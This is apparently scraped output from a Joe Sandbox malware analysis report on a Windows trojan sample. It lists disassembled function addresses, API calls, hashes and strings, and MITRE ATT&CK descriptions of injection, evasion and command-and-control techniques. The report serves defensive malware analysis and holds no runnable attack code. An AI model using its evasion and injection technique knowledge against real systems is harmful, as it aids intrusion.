Source File: 00000000.00000002.1657488948.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1657461293.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657513298.0000000000901000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657537036.0000000000908000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657552396.000000000090A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_SecuriteInfo.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 169dd8d22fd108f2c0e810282b12e60ab454aa7f3af79ef904bb5e4a833edbfb
Instruction ID: ff6888e10815792913489737001d9fd556b163bdb367aa54f423b44e57ae93c2
Opcode Fuzzy Hash: 169dd8d22fd108f2c0e810282b12e60ab454aa7f3af79ef904bb5e4a833edbfb
Instruction Fuzzy Hash: D351B172605A0EAFDB299F78D841BBAB7A4FF44314F24422DEB01D7291E731AD80D791

Uniqueness

Uniqueness Score: -1.00%

Function 008F832A Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,008FC440,?,00000001,008FAD76,?,008FC8FA,00000001,?,?,?,008FAD05,?,?), ref: 008F832F
_free.LIBCMT ref: 008F838C
_free.LIBCMT ref: 008F83C2
SetLastError.KERNEL32(00000000,00000005,000000FF,?,008FC8FA,00000001,?,?,?,008FAD05,?,?,?,00907520,0000002C,008FAD76), ref: 008F83CD

Memory Dump Source

Source File: 00000000.00000002.1657488948.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1657461293.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657513298.0000000000901000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657537036.0000000000908000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657552396.000000000090A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_SecuriteInfo.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: d5e3deda8d579c705d8b7184559bdf17653d37c05a2a45dc5e045c5a8ec17459
Instruction ID: dafac120a1458f09c5702153f7c12413e59e7ac2f833ef1809a4d2fb17b6182c
Opcode Fuzzy Hash: d5e3deda8d579c705d8b7184559bdf17653d37c05a2a45dc5e045c5a8ec17459
Instruction Fuzzy Hash: 9A11C2B331860EAED71526BC5C85E3F276AFBC1B747280A24F724C62F2DE258C095122

Uniqueness

Uniqueness Score: -1.00%

Function 008F8481 Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,008F11AD,?,008F8822,008F85BF,?,?,008F11AD,?), ref: 008F8486
_free.LIBCMT ref: 008F84E3
_free.LIBCMT ref: 008F8519
SetLastError.KERNEL32(00000000,00000005,000000FF,?,008F11AD,?,008F8822,008F85BF,?,?,008F11AD,?), ref: 008F8524

Memory Dump Source

Source File: 00000000.00000002.1657488948.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1657461293.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657513298.0000000000901000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657537036.0000000000908000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657552396.000000000090A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_SecuriteInfo.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 0bce32d82cf44a19dfa0ff862f4c04eac2782ba8db478cf585cda07e54c8d6c1
Instruction ID: 434651f3c25c719026a0d491d5582972a7e566fd2a30449c52aa1a0a1302e36f
Opcode Fuzzy Hash: 0bce32d82cf44a19dfa0ff862f4c04eac2782ba8db478cf585cda07e54c8d6c1
Instruction Fuzzy Hash: 3B1126B231860EAFD7212BBC9C85E7B2769FBD17747280624F728C61E2DE25CC456136

Uniqueness

Uniqueness Score: -1.00%

Function 008FD4D6 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,008FCF35,?,00000001,?,00000001,?,008FC3CF,?,?,00000001), ref: 008FD4ED
GetLastError.KERNEL32(?,008FCF35,?,00000001,?,00000001,?,008FC3CF,?,?,00000001,?,00000001,?,008FC91B,008FAD05), ref: 008FD4F9

Part of subcall function 008FD4BF: CloseHandle.KERNEL32(FFFFFFFE,008FD509,?,008FCF35,?,00000001,?,00000001,?,008FC3CF,?,?,00000001,?,00000001), ref: 008FD4CF

___initconout.LIBCMT ref: 008FD509

Part of subcall function 008FD481: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,008FD4B0,008FCF22,00000001,?,008FC3CF,?,?,00000001,?), ref: 008FD494

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,008FCF35,?,00000001,?,00000001,?,008FC3CF,?,?,00000001,?), ref: 008FD51E

Memory Dump Source

Source File: 00000000.00000002.1657488948.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1657461293.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657513298.0000000000901000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657537036.0000000000908000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657552396.000000000090A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_SecuriteInfo.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 94351839feb79a319ed9821aa456d99c47202e35395fac5960835ea64ec83468
Instruction ID: 09c6e84c45f7fa549479f5b1310c28f9a6984efe64b6c7c2ee0bcd49042a3078
Opcode Fuzzy Hash: 94351839feb79a319ed9821aa456d99c47202e35395fac5960835ea64ec83468
Instruction Fuzzy Hash: 89F0AC3651526CBFCF222FA5DC04A9A3F76FB197A1B148110FF5895120CA329860FB95

Uniqueness

Uniqueness Score: -1.00%

Function 008F7C6B Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 008F7C74

Part of subcall function 008F7FB2: HeapFree.KERNEL32(00000000,00000000,?,008F9DC0,?,00000000,?,?,?,008F9DE7,?,00000007,?,?,008FA25B,?), ref: 008F7FC8
Part of subcall function 008F7FB2: GetLastError.KERNEL32(?,?,008F9DC0,?,00000000,?,?,?,008F9DE7,?,00000007,?,?,008FA25B,?,?), ref: 008F7FDA

_free.LIBCMT ref: 008F7C87
_free.LIBCMT ref: 008F7C98
_free.LIBCMT ref: 008F7CA9

Memory Dump Source

Source File: 00000000.00000002.1657488948.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1657461293.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657513298.0000000000901000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657537036.0000000000908000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657552396.000000000090A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_SecuriteInfo.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 8d56b34c02cd1f66e8f23b95603cd1ea907d3afa3375658ece27b120110dfc81
Instruction ID: 14cf6a794e568fc87e19c392406a0cf759d2dd6159e8dd5279b3a520d9a63a1d
Opcode Fuzzy Hash: 8d56b34c02cd1f66e8f23b95603cd1ea907d3afa3375658ece27b120110dfc81
Instruction Fuzzy Hash: 74E09A7152C16A9ED6526F38AC49495BB26E7447107424046FA41D6333CA3505D2BBA2

Uniqueness

Uniqueness Score: -1.00%

Function 008F5780 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 008F57A5

Strings

MOC, xrefs: 008F57B7
RCC, xrefs: 008F57BF

Memory Dump Source

Source File: 00000000.00000002.1657488948.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1657461293.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657513298.0000000000901000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657537036.0000000000908000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657552396.000000000090A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_SecuriteInfo.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: a9ff7fb7700d26fb4391f36c8f0d17a2774140f3eb5aef45cdecb88a911d256d
Instruction ID: 46b7fdaaee46921048aef50179c97901dba1271b2aa040e1d5f88e27e3cd620f
Opcode Fuzzy Hash: a9ff7fb7700d26fb4391f36c8f0d17a2774140f3eb5aef45cdecb88a911d256d
Instruction Fuzzy Hash: AF41783190060DEFDF15DFA8C881AAEBBB5FF48340F188069FB05A6211D3359A50DB51

Uniqueness

Uniqueness Score: -1.00%

Function 008F1110 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32), ref: 008F111B
GetModuleHandleW.KERNEL32(00000000), ref: 008F1162

Strings

kernel32, xrefs: 008F1116

Memory Dump Source

Source File: 00000000.00000002.1657488948.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1657461293.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657513298.0000000000901000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657537036.0000000000908000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657552396.000000000090A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_SecuriteInfo.jbxd

Similarity

API ID: HandleModule
String ID: kernel32
API String ID: 4139908857-541877477
Opcode ID: d1e6d2f0e7bcb1cadf5a67b56a4d75ad8be1b5241e614c1243f490406f5b93df
Instruction ID: 2c11b1d14579ff0cf7429e6b1c1460b6d69a91a2f0d15a5ed827c396c995d828
Opcode Fuzzy Hash: d1e6d2f0e7bcb1cadf5a67b56a4d75ad8be1b5241e614c1243f490406f5b93df
Instruction Fuzzy Hash: 0E2194B5D0020CEBCF04DFE8D949AEEBBB4FB48305F108559EA15A7240E6359A85CB65

Uniqueness

Uniqueness Score: -1.00%

Function 008F2A60 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 008F3040: char_traits.LIBCPMTD ref: 008F3080

task.LIBCPMTD ref: 008F2AB3
task.LIBCPMTD ref: 008F2AC2

Strings

dboupzalsfzwvwpyqdpu, xrefs: 008F2A96

Memory Dump Source

Source File: 00000000.00000002.1657488948.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1657461293.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657513298.0000000000901000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657537036.0000000000908000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657552396.000000000090A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_SecuriteInfo.jbxd

Similarity

API ID: task$char_traits
String ID: dboupzalsfzwvwpyqdpu
API String ID: 1455298312-2047172133
Opcode ID: 6ccdabe5ea09c648e4856f32b4649a3fe6840c6ad2ef8a7259e5f9099240f1c0
Instruction ID: 8c1b256f6464b0af317d745848640bcd5b80e8cf85fff5f879d5182d04f38648
Opcode Fuzzy Hash: 6ccdabe5ea09c648e4856f32b4649a3fe6840c6ad2ef8a7259e5f9099240f1c0
Instruction Fuzzy Hash: B301697191464CEFCB00DF68D841BAEBBB4FB45724F00466AE820A73C0DB75AB04CB95

Uniqueness

Uniqueness Score: -1.00%

Function 008F29F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 008F3040: char_traits.LIBCPMTD ref: 008F3080

task.LIBCPMTD ref: 008F2A43

Strings

S, xrefs: 008F2A24
oeislvoodubcwjonjrwnhbjfxmsna, xrefs: 008F2A07

Memory Dump Source

Source File: 00000000.00000002.1657488948.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1657461293.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657513298.0000000000901000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657537036.0000000000908000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657552396.000000000090A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_SecuriteInfo.jbxd

Similarity

API ID: char_traitstask
String ID: S$oeislvoodubcwjonjrwnhbjfxmsna
API String ID: 3039116899-104439280
Opcode ID: 90bc4832e07946e0bbb663ba3fdf060fed68169371908de20ed6c7e0792ded91
Instruction ID: f956186fbdac30ee964fdedaf007cbcd2db3e27660067f2f71971868b86309a3
Opcode Fuzzy Hash: 90bc4832e07946e0bbb663ba3fdf060fed68169371908de20ed6c7e0792ded91
Instruction Fuzzy Hash: DFF04970D0420C8ADB14DFB8D5557FEB7B0FB48308F104069D602B6281DA769E18DB6A

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

System Behavior

Analysis Process: SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exePID: 7592, Parent PID: 2580

General

Chronological Activities

Disassembly

Analysis Process: SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exePID: 7592, Parent PID: 2580COMMON

Execution Graph

Windows Analysis Report
SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe

Function 02B885F0 Relevance: 210.6, APIs: 77, Strings: 43, Instructions: 615
libraryloaderCOMMON

Function 008F1300 Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 297
librarymemoryloaderCOMMON

Function 008F2F40 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 43
timeCOMMON

Function 02B88E00 Relevance: 3.0, APIs: 2, Instructions: 49
COMMON

Function 008F1710 Relevance: 1.6, APIs: 1, Instructions: 103
COMMON

Function 02B85E10 Relevance: 68.6, APIs: 30, Strings: 9, Instructions: 309
libraryfileloaderCOMMON

Function 02B86670 Relevance: 52.7, APIs: 27, Strings: 3, Instructions: 230
memorynetworkfileCOMMON

Function 02B85AB0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 277
injectionthreadprocessCOMMON

Function 02B87620 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 174
memoryCOMMON

Function 02B87830 Relevance: 28.4, APIs: 12, Strings: 4, Instructions: 432
memorystringCOMMON

Function 02B86B90 Relevance: 70.4, APIs: 31, Strings: 9, Instructions: 426
memorycomCOMMON

Function 02B87D20 Relevance: 61.6, APIs: 21, Strings: 14, Instructions: 350
libraryloadersleepCOMMON

Function 008F2AE0 Relevance: 37.0, APIs: 3, Strings: 18, Instructions: 276
COMMON

Function 008F21A0 Relevance: 28.2, APIs: 10, Strings: 6, Instructions: 158
COMMON